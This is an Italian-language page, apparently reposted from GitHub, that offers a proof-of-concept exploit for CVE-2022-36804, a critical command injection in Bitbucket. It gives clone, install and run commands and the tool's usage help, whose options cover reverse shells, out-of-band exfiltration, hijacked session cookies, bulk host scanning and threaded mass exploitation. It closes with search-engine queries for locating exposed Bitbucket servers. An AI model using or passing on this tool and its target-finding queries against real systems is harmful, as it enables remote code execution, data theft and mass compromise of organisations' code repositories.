
Exploit PoC per CVE-2022-36804 (BitBucket Critical Command Injection)
https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit
Un exploit PoC abbastanza affidabile per CVE-2022-36804 (BitBucket Critical Command Injection). Questo attacco richiede generalmente che i repository pubblici siano abilitati, tuttavia anche i cookie di sessione sono compatibili con questo exploit. Nota: questo exploit include il rilevamento automatico dei repository, utile se non vuoi cercare manualmente repository aperti.
git clone https://github.com/Chocapikk/CVE-2022-36804-ReverseShell.git;
cd CVE-2022-36804-ReverseShell
python3 -m pip install -r requirements.txt
python3 main.py --server [target]
usage: main.py [-h] [--server SERVER] [--project PROJECT] [--repo REPO] [--skip-auto]
[--session SESSION] [--command CMD] [--file FILE] [--output OUTPUT]
[--lhost LHOST] [--lport LPORT] [--threads THREADS]
Exploit BitBucket Instances (< v8.3.1) using CVE-2022-36804. Exploits automagically
without any extra parameters, but allows for custom settings as well.
options:
-h, --help mostra questo messaggio di aiuto ed esci
--server SERVER Host da attaccare
--project PROJECT Il nome del progetto in cui si trova il repository
--repo REPO Il nome del repository
--skip-auto Salta il rilevamento automatico dei repository sfruttabili
--session SESSION Valore del cookie 'BITBUCKETSESSIONID', utile se il repository di destinazione è privato
--command CMD Comando da eseguire se l'exploit ha successo (Nota: ottenere output non è affidabile, quindi l'exfiltrazione OOB è necessaria)
--file FILE File per scansionare host in blocco
--output OUTPUT File di output per la sessione
--lhost LHOST Il tuo Host locale per la reverse shell
--lport LPORT La tua Porta locale per la reverse shell
--threads THREADS Thread per lo sfruttamento di massa
app:"Bitbucket" +banner:"repos?visibility=public"
app:"Bitbucket" +title:"public"
app:"Bitbucket"
iconhash:667017222